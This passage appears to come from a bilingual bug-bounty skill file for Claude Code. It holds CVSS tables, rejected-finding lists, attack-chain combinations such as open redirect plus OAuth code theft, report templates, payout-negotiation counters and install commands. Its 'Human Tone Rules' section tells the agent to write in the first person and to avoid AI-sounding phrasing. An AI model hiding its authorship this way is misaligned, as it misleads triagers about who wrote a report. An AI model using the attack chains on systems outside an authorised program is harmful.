[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix

CVSS 3.1 Quick Guide

CVSS 3.1 快速指南

FactorLow (0-3.9)Medium (4-6.9)High (7-8.9)Critical (9-10)
Attack VectorPhysicalLocalAdjacentNetwork
PrivilegesHighLowNoneNone
User InteractionRequiredRequiredNoneNone
ImpactPartialPartialHighHigh (all 3)
因子Low(0-3.9)Medium(4-6.9)High(7-8.9)Critical(9-10)
Attack VectorPhysicalLocalAdjacentNetwork
PrivilegesHighLowNoneNone
User InteractionRequiredRequiredNoneNone
ImpactPartialPartialHighHigh(全部 3 项)

Typical Scores by Bug Class

各漏洞类型的典型分数

BugTypical CVSSSeverity
IDOR (read PII)6.5Medium
IDOR (write/delete)7.5High
Auth bypass -> admin9.8Critical
Stored XSS5.4-8.8Med-High
SQLi (data exfil)8.6High
SSRF (cloud metadata)9.1Critical
Race condition (double spend)7.5High
GraphQL auth bypass8.7High
JWT none algorithm9.1Critical

漏洞典型 CVSS严重程度
IDOR(读取 PII)6.5Medium
IDOR(写入/删除)7.5High
认证绕过 -> Admin9.8Critical
存储型 XSS5.4-8.8Med-High
SQLi(数据外泄)8.6High
SSRF(云元数据)9.1Critical
竞态条件(双重消费)7.5High
GraphQL 认证绕过8.7High
JWT none algorithm9.1Critical

ALWAYS REJECTED -- Never Submit These

始终拒绝——绝不提交以下问题

Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.
N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.
缺少 CSP/HSTS/安全 Header、缺少 SPF/DKIM/DMARC、单独的 GraphQL introspection、没有可用 CVE 利用的 Banner/版本披露、非敏感页面上的 Clickjacking、Tabnabbing、CSV Injection、没有凭据外泄 PoC 的 CORS 通配符、Logout CSRF、Self-XSS、单独的开放重定向、移动应用中的 OAuth client_secret、仅 DNS Ping 的 SSRF、单独的 Host Header Injection、非关键表单没有速率限制、Logout 后 Session 未失效、并发 Session、内部 IP 披露、混合内容、SSL 弱密码套件、单独缺少 HttpOnly/Secure Cookie Flag、失效的外部链接、Pre-account Takeover(通常)、密码字段自动填充。
N/A 会损害你的有效率。Informative 是中性的。只提交通过 7 问门禁的问题。

Conditionally Valid With Chain

有条件成立——组成攻击链后有效

These low findings become valid bugs when chained:
Low Finding+ Chain= Valid Bug
Open redirect+ OAuth code theftATO
Clickjacking+ sensitive action + PoCAccount action
CORS wildcard+ credentialed exfilData theft
CSRF+ sensitive state changeAccount takeover
No rate limit+ OTP brute forceATO
SSRF (DNS only)+ internal access proofInternal network access
Host header injection+ password reset poisoningATO
Self-XSS+ login CSRFStored XSS on victim

以下低危发现组成攻击链后会成为有效漏洞:
低危发现+ 攻击链= 有效漏洞
开放重定向+ OAuth 授权码窃取ATO
Clickjacking+ 敏感操作 + PoC账户操作
CORS 通配符+ 带凭据的数据外泄数据窃取
CSRF+ 敏感状态变更账户接管
没有速率限制+ OTP 暴力破解ATO
SSRF(仅 DNS)+ 内网访问证明内网访问
Host Header Injection+ 密码重置投毒ATO
Self-XSS+ Login CSRF受害者上的存储型 XSS

PHASE 5: REPORT

阶段 5:报告

HackerOne Report Template

HackerOne 报告模板

Title: [Vuln Class] in [endpoint/feature] leads to [Impact]
Title: [Vuln Class] in [endpoint/feature] leads to [Impact]

Summary

Summary

[2-3 sentences: what it is, where it is, what attacker can do]
[2-3 sentences: what it is, where it is, what attacker can do]

Steps To Reproduce

Steps To Reproduce

  1. Log in as attacker (account A)
  2. Send request: [paste exact request]
  3. Observe: [exact response showing the bug]
  4. Confirm: [what the attacker gained]
  1. Log in as attacker (account A)
  2. Send request: [paste exact request]
  3. Observe: [exact response showing the bug]
  4. Confirm: [what the attacker gained]

Supporting Material

Supporting Material

[Screenshot / video of exploitation] [Burp Suite request/response]
[Screenshot / video of exploitation] [Burp Suite request/response]

Impact

Impact

An attacker can [specific action] resulting in [specific harm]. [Quantify if possible: "This affects all X users" or "Attacker can access Y data"]
An attacker can [specific action] resulting in [specific harm]. [Quantify if possible: "This affects all X users" or "Attacker can access Y data"]

Severity Assessment

Severity Assessment

CVSS 3.1 Score: X.X ([Severity label]) Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
undefined
CVSS 3.1 Score: X.X ([Severity label]) Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
undefined

Bugcrowd Report Template

Bugcrowd 报告模板

Title: [Vuln] at [endpoint] -- [Impact in one line]

Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]

Description:
[Root cause + exact location]

Reproduction:
1. [step]
2. [step]
3. [step]

Impact:
[Concrete business impact]

Fix Suggestion:
[Specific remediation]
Title: [Vuln] at [endpoint] -- [Impact in one line]

Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]

Description:
[Root cause + exact location]

Reproduction:
1. [step]
2. [step]
3. [step]

Impact:
[Concrete business impact]

Fix Suggestion:
[Specific remediation]

Human Tone Rules (Avoid AI-Sounding Writing)

人类语气规则(避免 AI 风格写作)

  • Start sentences with the impact, not the vulnerability name
  • Write like you're explaining to a smart developer, not a textbook
  • Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
  • One concrete example beats three abstract sentences
  • No em dashes, no "comprehensive/leverage/seamless/ensure"
  • 以影响开句,而不是以漏洞名称开句
  • 像向聪明的开发者解释一样写作,不要像教科书
  • 使用“我”和主动语态:“我发现……”而不是“发现了一个漏洞……”
  • 一个具体例子胜过三个抽象句子
  • 不使用 Em Dash,不使用“comprehensive/leverage/seamless/ensure”

Report Title Formula

报告标题公式

[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
Good titles:
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times
Bad titles:
IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API
[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
优秀标题:
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times
糟糕标题:
IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API

Impact Statement Formula (First Paragraph)

影响陈述公式(第一段)

An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].
An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].

The 60-Second Pre-Submit Checklist

60 秒提交前检查清单

[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)
[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)

Severity Escalation Language

严重程度升级用语

When payout is being downgraded, use these counters:
Program SaysYou Counter With
"Requires authentication""Attacker needs only a free account (no special role)"
"Limited impact""Affects [N] users / [PII type] / [$ amount]"
"Already known""Show me the report number -- I searched and found none"
"By design""Show me the documentation that states this is intended"
"Low CVSS score""CVSS doesn't account for business impact -- attacker can steal [X]"

当赏金被下调时,使用以下反驳方式:
计划方说法你的反驳
“需要认证”“攻击者只需要一个免费账户(无需特殊角色)”
“影响有限”“影响 [N] 名用户/[PII 类型]/[$ 金额]”
“已经已知”“请给我报告编号——我已经搜索,未发现相同报告”
“属于预期设计”“请展示声明此行为属于预期设计的文档”
“CVSS 分数较低”“CVSS 未考虑业务影响——攻击者可以窃取 [X]”

RESOURCES

资源

Bug Bounty Platforms

漏洞赏金平台

Learning

学习

Wordlists

Wordlist

Payload Databases

Payload 数据库



INSTALLATION (Claude Code Skill)

安装(Claude Code Skill)

To use this as a Claude Code skill, copy this file to your skills directory:
bash
undefined
要将此文件作为 Claude Code skill 使用,请将其复制到 skills 目录:
bash
undefined

Option A: Clone the repo and link the skill

Option A: Clone the repo and link the skill

git clone https://github.com/Awarexone/Agentic-Bug-Hunter.git ~/.claude/skills/bug-bounty ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
git clone https://github.com/Awarexone/Agentic-Bug-Hunter.git ~/.claude/skills/bug-bounty ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md

Option B: Direct copy

Option B: Direct copy

mkdir -p ~/.claude/skills/bug-bounty curl -s https://raw.githubusercontent.com/Awarexone/Agentic-Bug-Hunter/main/SKILL.md
-o ~/.claude/skills/bug-bounty/SKILL.md

Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.
mkdir -p ~/.claude/skills/bug-bounty curl -s https://raw.githubusercontent.com/Awarexone/Agentic-Bug-Hunter/main/SKILL.md
-o ~/.claude/skills/bug-bounty/SKILL.md

随后在 Claude Code 中,当你询问漏洞赏金、资产侦察或漏洞 hunting 时,此 skill 会自动加载。